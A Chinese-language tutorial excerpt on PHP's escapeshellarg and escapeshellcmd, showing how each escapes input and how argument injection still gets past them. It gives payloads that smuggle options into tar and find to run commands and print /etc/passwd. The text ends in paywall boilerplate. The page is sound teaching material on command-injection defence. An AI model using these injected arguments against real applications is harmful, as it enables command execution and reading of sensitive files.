利用/绕过escapeshellarg/escapeshellcmd
[1]escapeshellarg和escapeshellcmd的功能
escapeshellarg:
(PHP 4 >= 4.0.3, PHP 5, PHP 7)
把字符串转码为可以在 shell 命令里使用的参数
string escapeshellarg ( string $arg )
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
概述:
1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令
escapeshellcmd:
(PHP 4, PHP 5, PHP 7)
shell 元字符转义
string escapeshellcmd ( string $command )
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义;反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF;’ 和 " 仅在不配对儿的时候被转义;在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替
概述:
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
用groups去打印组里每个username成员
<?php
$username = 'h3rmesk1t';
system('groups '.$username);
?>
=>
h3rmesk1t : h3rmesk1t adm cdrom sudo dip plugdev lpadmin lxd sambashare
但是攻击者可以在username里使用;或者||
在Linux里,这意味着第二个命令可以在第一个之后被执行
<?php
$username = 'h3rmesk1t;id';
system('groups '.$username);
?>
=>
h3rmesk1t : h3rmesk1t adm cdrom sudo dip plugdev lpadmin lxd sambashare
uid=0(root) gid=0(root) groups=0(root)
为了防止这一点,我们使用escapeshellcmd
现在攻击者不能允许第2个命令了
<?php
$username = 'h3rmesk1t;id';
system(escapeshellcmd('groups '.$username));
?>
=>
groups: ‘h3rmesk1t;id’: no such user
这是因为php内部运行了下列命令,以至于myuser;id被当成了一个字符串
$ groups myuser;id
groups: „myuser;id”: no such user
但是在这种方法中,攻击者可以指定更多参数groups
例如,一次检测多个用户
<?php
$username = 'h3rmesk1t root';
system(escapeshellcmd('groups '.$username));
?>
=>
h3rmesk1t : h3rmesk1t adm cdrom sudo dip plugdev lpadmin lxd sambashare
root : root
假设我们希望允许每个脚本执行仅检查一个用户
<?php
$username = 'h3rmesk1t root';
system('groups '.escapeshellarg($username));
?>
=>
groups: ‘h3rmesk1t root’: no such user
这是因为现在$username被视为单个参数:
$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such user
[2]已知的绕过/利用
参数注入
从上一章可以看到,使用escapeshellcmd / escapeshellarg时不可能执行第二个命令
但是我们仍然可以将参数传递给第一个命令
这意味着我们也可以将新选项传递给命令
利用漏洞的能力取决于目标可执行文件
可以在下面找到一些已知可执行文件的列表,其中包含一些可能被滥用的特定选项
TAR
压缩some_file到/tmp/sth
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
创建一个空文件/tmp/exploit
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
FIND
在/Desktop目录下查找1.php
<?php
$command = '1.php';
system('find ~/Desktop/ -iname '.escapeshellcmd($command));
?>
=>
/root/Desktop/1.php
打印/etc/passwd内容
<?php
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
?>
=>
root:x:0:0:root

本文详细介绍了PHP的escapeshellarg和escapeshellcmd函数,用于防止命令注入攻击。然而,文章揭示了这些函数的局限性和可能的绕过方法,包括通过参数注入在TAR、FIND、SENDMAIL、CURL、MYSQL、UNZIP等命令中执行恶意操作。同时,文章提到了一些经典漏洞利用示例和GitList RCE漏洞的利用方式,强调了设置LANG环境变量的重要性。此外,还给出了如何利用这些漏洞执行命令的例子,以及如何通过限制参数来增强安全性。
最低0.47元/天 解锁文章
6028

被折叠的 条评论
为什么被折叠?



